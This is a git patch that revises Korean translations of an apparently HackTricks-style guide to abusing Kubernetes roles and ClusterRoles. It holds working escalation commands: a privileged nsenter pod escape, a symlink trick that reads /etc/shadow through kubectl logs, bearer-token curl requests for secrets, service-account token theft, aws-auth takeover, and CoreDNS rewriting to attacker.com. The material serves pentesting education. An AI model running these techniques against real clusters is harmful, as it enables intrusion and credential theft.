From e060fca12f8daf63403ad47292fdd20c65ef687c Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 12:41:36 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub --- .../README.md | 336 +++++++++++------- ...ubelet-authentication-and-authorization.md | 87 +++-- 2 files changed, 253 insertions(+), 170 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index d7e957c32..479631c6d 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Kubernetes에서 Roles/ClusterRoles 악용하기 +# Kubernetes에서 Roles/ClusterRoles 오용 {{#include ../../../banners/hacktricks-training.md}} -여기에서 잠재적으로 위험한 Roles 및 ClusterRoles 구성을 찾을 수 있습니다.\ -`kubectl api-resources`를 사용하여 지원되는 모든 리소스를 얻을 수 있다는 점을 기억하세요. +여기에는 잠재적으로 위험한 Roles 및 ClusterRoles 구성들이 있습니다.\ +`kubectl api-resources`로 모든 지원 리소스를 확인할 수 있다는 것을 기억하세요. -## **권한 상승** +## **Privilege Escalation** -클러스터 내에서 **다른 권한**을 가진 **다른 주체에 대한 접근을 얻는 기술**을 의미하며 (kubernetes 클러스터 내 또는 외부 클라우드에 대해) Kubernetes에서는 기본적으로 **권한을 상승시키기 위한 4가지 주요 기술**이 있습니다: +클러스터 내에서 현재 가진 것과 다른 권한을 가진 다른 principal에 접근하는 기술을 의미합니다(클러스터 내부 또는 외부 클라우드에 대해). Kubernetes에서는 기본적으로 권한을 상승시키기 위한 다음의 4가지 주요 기법이 있습니다: -- Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해 더 나은 권한을 가진 다른 사용자/그룹/SA를 **가장할 수 있는 능력** -- Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해 더 나은 권한을 가진 SA를 **찾거나 연결할 수 있는** **pod를 생성/패치/실행할 수 있는 능력** -- SA의 토큰이 비밀로 저장되므로 **비밀을 읽을 수 있는 능력** -- 컨테이너에서 노드로 **탈출할 수 있는 능력**, 여기서 노드에서 실행 중인 컨테이너의 모든 비밀, 노드의 자격 증명 및 클라우드 내에서 실행 중인 노드의 권한을 훔칠 수 있습니다 (있는 경우) -- 언급할 가치가 있는 다섯 번째 기술은 pod에서 **포트 포워드**를 실행할 수 있는 능력으로, 해당 pod 내의 흥미로운 리소스에 접근할 수 있을 수 있습니다. +- 더 높은 권한을 가진 다른 user/groups/SAs를 **impersonate** 할 수 있음 (Kubernetes 클러스터 내 또는 외부 클라우드에 대해) +- 더 높은 권한을 가진 SAs를 **find or attach SAs** 할 수 있는 곳에 **create/patch/exec pods** 할 수 있음 (Kubernetes 클러스터 내 또는 외부 클라우드에 대해) +- SAs 토큰이 secrets로 저장되어 있으므로 **read secrets** 할 수 있음 +- 컨테이너에서 **escape to the node** 할 수 있어, 노드에서 실행 중인 컨테이너들의 모든 secrets, 노드의 credentials, 그리고 (해당되는 경우) 그 노드가 실행 중인 클라우드에서의 권한을 훔칠 수 있음 +- 다섯번째로 언급할 만한 기법은 pod 내에서 **run port-forward** 할 수 있는 능력으로, 이를 통해 해당 pod 내부의 흥미로운 리소스에 접근할 수 있음 -### 모든 리소스 또는 동사에 접근하기 (와일드카드) +### Access Any Resource or Verb (Wildcard) -**와일드카드 (\*)는 모든 동사로 모든 리소스에 대한 권한을 부여합니다**. 이는 관리자에 의해 사용됩니다. ClusterRole 내에서 이는 공격자가 클러스터의 anynamespace를 악용할 수 있음을 의미합니다. +**wildcard (\*)는 어떤 리소스에 대해서든 어떤 verb에 대해서도 권한을 부여합니다.** 관리자가 주로 사용합니다. ClusterRole 내부에서는 이는 공격자가 클러스터 내의 어떤 namespace든 악용할 수 있다는 것을 의미합니다. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### 특정 동사로 모든 리소스에 접근하기 +### 특정 동사로 모든 리소스에 접근 -RBAC에서 특정 권한은 상당한 위험을 초래합니다: +RBAC에서는 특정 권한이 심각한 위험을 초래합니다: -1. **`create`:** 모든 클러스터 리소스를 생성할 수 있는 권한을 부여하여 권한 상승의 위험을 초래합니다. -2. **`list`:** 모든 리소스를 나열할 수 있어 민감한 데이터가 유출될 수 있습니다. -3. **`get`:** 서비스 계정의 비밀에 접근할 수 있는 권한을 부여하여 보안 위협을 초래합니다. +1. **`create`:** 클러스터의 모든 리소스를 생성할 수 있는 권한을 부여하며, privilege escalation을 초래할 수 있습니다. +2. **`list`:** 모든 리소스를 나열할 수 있게 하여 민감한 데이터를 leak할 수 있습니다. +3. **`get`:** service accounts로부터 secrets에 접근할 수 있게 하여 보안 위협을 초래합니다. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -권한이 있는 공격자는 포드를 생성할 수 있으며, 포드에 특권 서비스 계정을 연결하고 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 이는 효과적으로 권한 상승을 의미합니다. +Pod 생성 권한이 있는 공격자는 특권이 부여된 Service Account를 pod에 연결해 해당 토큰을 탈취하고 그 Service Account로 가장할 수 있습니다. 결과적으로 권한이 상승됩니다. -`bootstrap-signer` 서비스 계정의 토큰을 훔쳐 공격자에게 전송하는 포드의 예: +다음은 `bootstrap-signer` service account의 토큰을 탈취해 공격자에게 전송하는 pod의 예입니다: ```yaml apiVersion: v1 kind: Pod @@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true ``` -### Pod 생성 및 탈출 +### Pod Create & Escape -다음은 컨테이너가 가질 수 있는 모든 권한을 나타냅니다: +다음은 container가 가질 수 있는 모든 권한을 나타냅니다: -- **특권 액세스** (보호 기능 비활성화 및 기능 설정) -- **hostIPC 및 hostPid 네임스페이스 비활성화** 권한 상승에 도움이 될 수 있음 -- **hostNetwork** 네임스페이스 비활성화, 노드의 클라우드 권한을 훔치고 네트워크에 더 나은 접근을 제공 -- **호스트를 컨테이너 내부에 마운트** +- **Privileged access** (보호 기능을 비활성화하고 capabilities를 설정) +- **Disable namespaces hostIPC and hostPid** (권한 상승에 도움이 될 수 있음) +- **Disable hostNetwork** namespace (nodes의 cloud privileges를 탈취하고 네트워크에 더 잘 접근할 수 있음) +- **Mount hosts /** (container 내부에 호스트의 / 를 마운트) ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -115,19 +115,19 @@ volumes: hostPath: path: / ``` -다음과 같이 포드를 생성합니다: +다음 내용으로 pod를 생성하세요: ```bash kubectl --token $token create -f mount_root.yaml ``` -한 줄 요약: [이 트윗](https://twitter.com/mauilion/status/1129468485480751104)에서 가져온 내용과 몇 가지 추가 사항: +[this tweet](https://twitter.com/mauilion/status/1129468485480751104)에서 가져온 원라이너와 몇 가지 추가사항: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -이제 노드로 탈출할 수 있으므로, 포스트 익스플로잇 기술을 확인하세요: +이제 node로 탈출할 수 있으니 다음에서 post-exploitation techniques를 확인하세요: #### Stealth -아마도 **은밀함**을 원할 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 생성할 수 있는 포드에 접근할 수 있는 내용을 확인할 수 있습니다: +아마도 더 **stealthier** 하고 싶을 것입니다. 아래 페이지들에서는 이전 템플릿에서 언급한 권한 중 일부만 활성화하여 pod를 생성할 경우 접근할 수 있는 항목들을 확인할 수 있습니다: - **Privileged + hostPID** - **Privileged only** @@ -136,14 +136,14 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos - **hostNetwork** - **hostIPC** -_이전의 특권 포드 구성을 생성/악용하는 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _에서 확인할 수 있습니다._ +_이전 템플릿의 권한 있는 pods 구성들을 생성/악용하는 예시는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Move to cloud -**포드**(선택적으로 **서비스 계정**)를 **생성**할 수 있다면, **포드 또는 서비스 계정에 클라우드 역할을 할당**하여 **클라우드 환경에서 권한을 얻을 수** 있습니다.\ -또한, **호스트 네트워크 네임스페이스**로 **포드**를 생성할 수 있다면, **노드** 인스턴스의 IAM 역할을 **탈취**할 수 있습니다. +만약 **create** a **pod** (및 선택적으로 a **service account**)할 수 있다면, **assigning cloud roles to a pod or a service account**하고 접근함으로써 **obtain privileges in cloud environment**할 수 있습니다. +또한, **pod with the host network namespace**를 생성할 수 있다면 **steal the IAM** role of the **node** instance 할 수 있습니다. -자세한 내용은 다음을 확인하세요: +For more information check: {{#ref}} pod-escape-privileges.md @@ -151,9 +151,9 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -이 권한을 악용하여 **새 포드**를 **생성**하고 이전 예와 같이 권한을 확립할 수 있습니다. +이 권한들을 남용하여 **create a new pod**하고 이전 예시처럼 권한을 상승시킬 수 있습니다. -다음 yaml은 **데몬셋을 생성하고 포드 내의 SA 토큰을 유출**합니다: +The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -191,32 +191,32 @@ path: / ``` ### **Pods Exec** -**`pods/exec`**는 **포드 내에서 셸에서 명령을 실행하는 데 사용되는 kubernetes의 리소스**입니다. 이를 통해 **컨테이너 내에서 명령을 실행하거나 셸에 들어갈 수 있습니다**. +**`pods/exec`**는 kubernetes에서 **pod 안의 shell에서 명령을 실행하는 데** 사용되는 리소스입니다. 이는 **containers 내부에서 명령을 실행하거나 shell을 얻을 수 있게** 합니다. -따라서 **포드에 들어가 SA의 토큰을 훔치거나, 특권 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 (악용)할 수 있습니다**: +따라서 **pod에 들어가 SA의 token을 탈취할 수** 있거나, privileged pod에 진입해 node로 탈출하여 node에 있는 pod들의 모든 token을 탈취하고 node를 (ab)use할 수 있습니다: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> 기본적으로 명령은 포드의 첫 번째 컨테이너에서 실행됩니다. `kubectl get pods -o jsonpath='{.spec.containers[*].name}'`를 사용하여 **컨테이너의 모든 포드**를 가져온 다음, `kubectl exec -it -c -- sh`를 사용하여 실행할 **컨테이너**를 지정합니다. +> 기본적으로 명령은 포드의 첫 번째 컨테이너에서 실행됩니다. 포드 내의 모든 컨테이너 이름을 얻으려면 `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` 를 사용하고, 그런 다음 실행하려는 컨테이너를 `kubectl exec -it -c -- sh` 로 지정하세요. -만약 그것이 distroless 컨테이너라면, **shell builtins**를 사용하여 컨테이너 정보를 얻거나 **busybox**와 같은 도구를 업로드할 수 있습니다: **`kubectl cp :`**. +If it's a distroless container you could try using **shell builtins** to get info of the containers or uplading your own tools like a **busybox** using: **`kubectl cp :`**. ### port-forward -이 권한은 **하나의 로컬 포트를 지정된 포드의 하나의 포트로 포워딩**할 수 있게 해줍니다. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운(예: DB) 또는 취약한 애플리케이션(웹?)에 접근할 수 있습니다. +This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod: ```bash kubectl port-forward pod/mypod 5000:5000 ``` -### 호스트의 쓰기 가능한 /var/log/ 탈출 +### Hosts Writable /var/log/ Escape -[**이 연구에서 언급된 바와 같이**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), **호스트의 `/var/log/` 디렉토리가 마운트된** 포드에 접근하거나 생성할 수 있다면, **컨테이너에서 탈출할 수 있습니다**.\ -이는 기본적으로 **Kube-API가 컨테이너의 로그를 가져오려고 할 때** (`kubectl logs ` 사용) **포드의 `0.log`** 파일을 **Kubelet** 서비스의 `/logs/` 엔드포인트를 사용하여 요청하기 때문입니다.\ -Kubelet 서비스는 기본적으로 **컨테이너의 `/var/log` 파일 시스템을 노출하는** `/logs/` 엔드포인트를 노출합니다. +As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\ +이는 기본적으로 **Kube-API tries to get the logs** 할 때 발생합니다. 컨테이너의 로그를 가져오기 위해 (`kubectl logs ` 사용) Kube-API는 **Kubelet** 서비스의 `/logs/` 엔드포인트를 이용해 해당 pod의 `0.log` 파일을 **requests the `0.log`** 합니다.\ +Kubelet 서비스는 `/logs/` 엔드포인트를 노출하고 있으며, 이는 사실상 컨테이너의 `/var/log` 파일시스템을 **exposing the `/var/log` filesystem of the container** 하는 것입니다. -따라서 **컨테이너의 /var/log/ 폴더에 쓰기 접근 권한이 있는** 공격자는 이 행동을 두 가지 방법으로 악용할 수 있습니다: +따라서 컨테이너의 `/var/log/` 폴더에 **access to write in the /var/log/ folder** 권한이 있는 공격자는 이 동작을 다음 두 가지 방식으로 악용할 수 있습니다: -- 컨테이너의 `0.log` 파일을 수정하여 (보통 `/var/logs/pods/namespace_pod_uid/container/0.log`에 위치) 예를 들어 **`/etc/shadow`를 가리키는 심볼릭 링크**로 만들 수 있습니다. 그러면 다음과 같이 호스트의 shadow 파일을 유출할 수 있습니다: +- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -224,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- 공격자가 **`nodes/log`를 읽을 수 있는 권한을 가진 주체**를 제어하는 경우, 그는 `/host-mounted/var/log/sym`에 `/`에 대한 **symlink**를 생성할 수 있으며, **`https://:10250/logs/sym/`에 접근할 때 호스트의 루트** 파일 시스템을 나열할 수 있습니다 (symlink를 변경하면 파일에 대한 접근을 제공할 수 있습니다). +- 공격자가 **permissions to read `nodes/log`** 권한을 가진 어떤 principal을 제어한다면, 그는 `/host-mounted/var/log/sym`에 `/`를 가리키는 **symlink**를 생성할 수 있고, **`https://:10250/logs/sym/`에 접근할 때 호스트의 루트** 파일시스템이 나열됩니다 (symlink를 변경하면 파일에 접근할 수 있습니다). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**실험실 및 자동화된 익스플로잇은** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)에서 찾을 수 있습니다. +**다음에서 실험실과 자동화된 exploit을 확인할 수 있습니다** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### readOnly 보호 우회 -운이 좋다면, 고급 권한을 가진 `CAP_SYS_ADMIN` 기능이 사용 가능할 때, 폴더를 rw로 다시 마운트할 수 있습니다: +운이 좋게도 고권한 capability `CAP_SYS_ADMIN`이 사용 가능하면, 해당 폴더를 rw로 다시 마운트할 수 있습니다: ```bash mount -o rw,remount /hostlogs/ ``` #### hostPath readOnly 보호 우회 -[**이 연구**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)에서 언급된 바와 같이, 보호를 우회하는 것이 가능합니다: +해당 [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)에서 설명한 것처럼, 보호를 우회할 수 있습니다: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -이전과 같은 탈출을 방지하기 위해, hostPath 마운트를 사용하는 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 컨테이너에 쓰기 가능한 접근 권한으로 호스트 폴더를 마운트하는 것이 었습니다: +이는 이전과 같은 탈출을 방지하기 위해 hostPath mount 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 container에 writable access로 hosts folder를 mount하도록 한 것이다: ```yaml apiVersion: v1 kind: PersistentVolume @@ -298,11 +298,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **특권 계정 가장하기** +### **권한 있는 계정 가장하기** -[**사용자 가장하기**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 권한을 사용하면 공격자가 특권 계정을 가장할 수 있습니다. +[**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 권한이 있으면 공격자는 권한 있는 계정으로 가장할 수 있습니다. -`kubectl` 명령에서 `--as=` 매개변수를 사용하여 사용자를 가장하거나, `--as-group=`을 사용하여 그룹을 가장하십시오: +사용자 계정을 가장하려면 `kubectl` 명령에서 `--as=` 파라미터를 사용하고, 그룹을 가장하려면 `--as-group=`을 사용하세요: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -315,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Listing Secrets +### 시크릿(Secrets) 나열 -**비밀 목록을 나열할 수 있는 권한은 공격자가 REST API 엔드포인트에 접근하여 비밀을 실제로 읽을 수 있게 할 수 있습니다:** +권한이 REST API 엔드포인트에 접근할 때 **list secrets 권한은 공격자가 실제로 시크릿을 읽을 수 있도록 허용할 수 있습니다**: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Creating and Reading Secrets +### Secret 생성 및 읽기 -Kubernetes의 **kubernetes.io/service-account-token** 유형의 비밀은 serviceaccount 토큰을 저장하는 특별한 종류의 비밀입니다. 비밀을 생성하고 읽을 수 있는 권한이 있고, serviceaccount의 이름도 알고 있다면, 다음과 같이 비밀을 생성한 후 피해자의 serviceaccount 토큰을 훔칠 수 있습니다: +특정 유형의 Kubernetes secret인 **kubernetes.io/service-account-token**은 serviceaccount 토큰을 저장합니다. +만약 secret을 생성하고 읽을 수 있는 권한이 있고, 대상 serviceaccount의 이름을 알고 있다면, 다음과 같이 secret을 생성한 후 그 안에서 피해자 serviceaccount의 토큰을 탈취할 수 있습니다: ```yaml apiVersion: v1 kind: Secret @@ -334,7 +335,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -예시 악용: +예시 exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -382,17 +383,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -다음과 같이 특정 네임스페이스에서 비밀을 생성하고 읽을 수 있는 권한이 있는 경우, 피해자의 서비스 계정도 동일한 네임스페이스에 있어야 합니다. +Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. -### 비밀 읽기 – 토큰 ID 무작위 대입 +### secret 읽기 – brute-forcing token IDs -읽기 권한이 있는 토큰을 소유한 공격자는 이를 사용하기 위해 비밀의 정확한 이름이 필요하지만, 더 넓은 _**비밀 나열**_ 권한과는 달리 여전히 취약점이 존재합니다. 시스템의 기본 서비스 계정은 나열할 수 있으며, 각 계정은 비밀과 연결되어 있습니다. 이러한 비밀은 이름 구조가 있으며: 정적 접두사 뒤에 무작위의 다섯 자리 알파벳 숫자 토큰(특정 문자를 제외하고)이 옵니다. [소스 코드](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)에 따르면. +읽기 권한이 있는 token을 보유한 공격자는 secret을 사용하기 위해 정확한 secret 이름이 필요하지만, 보다 광범위한 _**listing secrets**_ 권한과 달리 여전히 취약점이 존재합니다. 시스템의 기본 service accounts는 열거할 수 있으며, 각 계정은 secret과 연결되어 있습니다. 이들 secret은 이름 구조가 정해져 있는데: 정적 접두사 뒤에 특정 문자를 제외한 랜덤한 다섯 글자의 영숫자 토큰이 붙습니다(자세한 내용은 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) 참조). -토큰은 전체 알파벳 숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 인해 가능한 조합의 총 수는 14,348,907(27^5)로 줄어듭니다. 따라서 공격자는 몇 시간 내에 토큰을 추론하기 위해 무작위 대입 공격을 실행할 수 있으며, 이는 민감한 서비스 계정에 접근하여 권한 상승으로 이어질 수 있습니다. +토큰은 전체 영숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 가능한 조합 수는 14,348,907(27^5)로 줄어듭니다. 결과적으로 공격자는 수 시간 내에 brute-force attack으로 토큰을 유추할 수 있으며, 민감한 service accounts에 접근하여 권한 상승으로 이어질 수 있습니다. -### EncrpytionConfiguration의 일반 텍스트 +### EncrpytionConfiguration in clear text -이러한 유형의 객체에서 데이터가 휴지 상태에서 암호화되는 일반 텍스트 키를 찾는 것이 가능합니다: +이 유형의 객체에서 휴지 상태 데이터(data at rest)를 암호화하는 평문 키를 찾을 수 있습니다. 예: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -449,13 +450,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Certificate Signing Requests +### 인증서 서명 요청 -리소스 `certificatesigningrequests`에 **`create`** 동사가 있으면 (또는 최소한 `certificatesigningrequests/nodeClient`에 있으면) **새 노드의** 새로운 CeSR을 **생성**할 수 있습니다. +리소스 `certificatesigningrequests`에 **`create`** 권한이 있거나(또는 적어도 `certificatesigningrequests/nodeClient`에 있다면), **새 노드**의 **CSR을 생성**할 수 있습니다. -[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 그런 경우에는 **추가 권한이 필요하지 않습니다**. 그렇지 않으면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `/` 또는 `/*`로 `approve`해야 함을 의미합니다. +According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. 그렇지 않은 경우에는 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에 대한 update 권한과 `signers`에서 resourceName이 `/` 또는 `/*`인 `approve` 권한을 의미합니다. -필요한 모든 권한이 포함된 **역할의 예**는: +다음은 필요한 모든 권한을 가진 **역할의 예**는 다음과 같습니다: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -486,19 +487,19 @@ resourceNames: verbs: - approve ``` -새로운 노드 CSR이 승인되었으므로, 노드의 특별 권한을 **악용**하여 **비밀을 훔치고** **권한을 상승**시킬 수 있습니다. +따라서 새 node CSR이 승인되면 노드의 특수 권한을 이용해 **abuse**하여 **steal secrets** 및 **escalate privileges**할 수 있습니다. -[**이 게시물**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)과 [**이 게시물**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)에서 GKE K8s TLS 부트스트랩 구성은 **자동 서명**으로 설정되어 있으며, 이를 악용하여 새로운 K8s 노드의 자격 증명을 생성한 다음 이를 사용하여 비밀을 훔쳐 권한을 상승시킵니다.\ -**언급된 권한이 있다면 같은 작업을 수행할 수 있습니다.** 첫 번째 예제는 새로운 노드가 컨테이너 내부의 비밀에 접근하는 것을 방지하는 오류를 우회합니다. 왜냐하면 **노드는 자신에게 마운트된 컨테이너의 비밀만 접근할 수 있기 때문입니다.** +In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap 구성은 **automatic signing**으로 설정되어 있으며, 이를 악용해 새로운 K8s Node의 자격 증명을 생성하고 그 자격 증명을 이용해 escalate privileges by stealing secrets.\ +If you **언급된 권한을 가지고 있다면 동일하게 수행할 수 있습니다**. 첫 번째 예제는 새로운 node가 컨테이너 내부의 secrets에 접근하지 못하도록 하는 오류를 우회하는데, 그 이유는 **node can only access the secrets of containers mounted on it.** -이를 우회하는 방법은 **흥미로운 비밀이 마운트된 컨테이너의 노드 이름에 대한 노드 자격 증명을 생성하는 것**입니다(하지만 첫 번째 게시물에서 이를 수행하는 방법을 확인하세요): +이를 우회하는 방법은 단순히 **create a node credentials for the node name where the container with the interesting secrets is mounted** 하는 것입니다 (자세한 방법은 첫 번째 포스트를 확인하세요): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -EKS 클러스터의 kube-system 네임스페이스에서 **`configmaps`**를 수정할 수 있는 주체는 **aws-auth** configmap을 덮어씀으로써 클러스터 관리자 권한을 얻을 수 있습니다.\ -필요한 동사는 **`update`**와 **`patch`**, 또는 configmap이 생성되지 않은 경우 **`create`**입니다: +EKS(클러스터가 AWS에 있어야 함)의 kube-system 네임스페이스에서 **`configmaps`**를 수정할 수 있는 주체는 **aws-auth** configmap을 덮어써서 클러스터 관리자 권한을 획득할 수 있습니다.\ +필요한 동사(verbs)는 **`update`**와 **`patch`**이며, configmap이 생성되지 않은 경우 **`create`**입니다: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -538,18 +539,18 @@ groups: - system:masters ``` > [!WARNING] -> **`aws-auth`**를 사용하여 **다른 계정**의 사용자에게 접근 권한을 부여하여 **지속성**을 유지할 수 있습니다. +> 다른 계정의 사용자들에게 접근 권한을 부여하기 위해 **`aws-auth`**을 사용해 **persistence**를 설정할 수 있습니다. > -> 그러나 `aws --profile other_account eks update-kubeconfig --name ` **는 다른 계정에서 작동하지 않습니다**. 하지만 실제로 `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`는 클러스터의 ARN을 이름 대신 넣으면 작동합니다.\ -> `kubectl`이 작동하도록 하려면 **희생자의 kubeconfig**를 **구성**하고 aws exec args에 `--profile other_account_role`을 추가하여 kubectl이 다른 계정 프로필을 사용하여 토큰을 가져오고 AWS에 연락하도록 하십시오. +> 하지만 `aws --profile other_account eks update-kubeconfig --name `는 다른 계정에서는 동작하지 않습니다. 그러나 클러스터 이름 대신 ARN을 넣으면 `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`는 작동합니다.\ +> `kubectl`을 작동시키려면 **configure**된 **victims kubeconfig**를 사용하고 aws exec 인자에 `--profile other_account_role`를 추가하여 kubectl이 다른 계정 프로필로 토큰을 가져와 AWS에 접속하도록 하면 됩니다. ### CoreDNS config map -`kube-system` 네임스페이스에서 **`coredns` configmap**을 수정할 수 있는 권한이 있다면, MitM 공격을 수행하여 **민감한 정보를 훔치거나 악성 콘텐츠를 주입**할 수 있도록 주소 도메인이 해결되는 방식을 수정할 수 있습니다. +권한이 있어 `kube-system` 네임스페이스의 **`coredns` configmap**을 수정할 수 있다면, 도메인이 해석되는 주소를 변경하여 MitM 공격을 수행하고 **민감한 정보를 훔치거나 악성 콘텐츠를 주입하는** 것이 가능합니다. -필요한 동사는 **`update`**와 **`patch`**로 **`coredns`** configmap(또는 모든 config map)에 대해 사용됩니다. +필요한 verbs는 **`update`**와 **`patch`**이며 대상은 **`coredns`** configmap(또는 모든 config maps)입니다. -일반적인 **coredns 파일**은 다음과 같은 내용을 포함합니다: +A regular **coredns file** contains something like this: ```yaml data: Corefile: | @@ -579,58 +580,120 @@ reload loadbalance } ``` -공격자는 `kubectl get configmap coredns -n kube-system -o yaml`를 실행하여 이를 다운로드하고, `rewrite name victim.com attacker.com`과 같은 내용을 추가하여 `victim.com`에 접근할 때 실제로 `attacker.com` 도메인에 접근하도록 수정할 수 있습니다. 그런 다음 `kubectl apply -f poison_dns.yaml`를 실행하여 적용할 수 있습니다. +An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`. -또 다른 옵션은 `kubectl edit configmap coredns -n kube-system`를 실행하여 파일을 직접 편집하고 변경하는 것입니다. +공격자는 `kubectl get configmap coredns -n kube-system -o yaml`를 실행해 해당 리소스를 다운로드한 뒤, `rewrite name victim.com attacker.com` 같은 항목을 추가하여 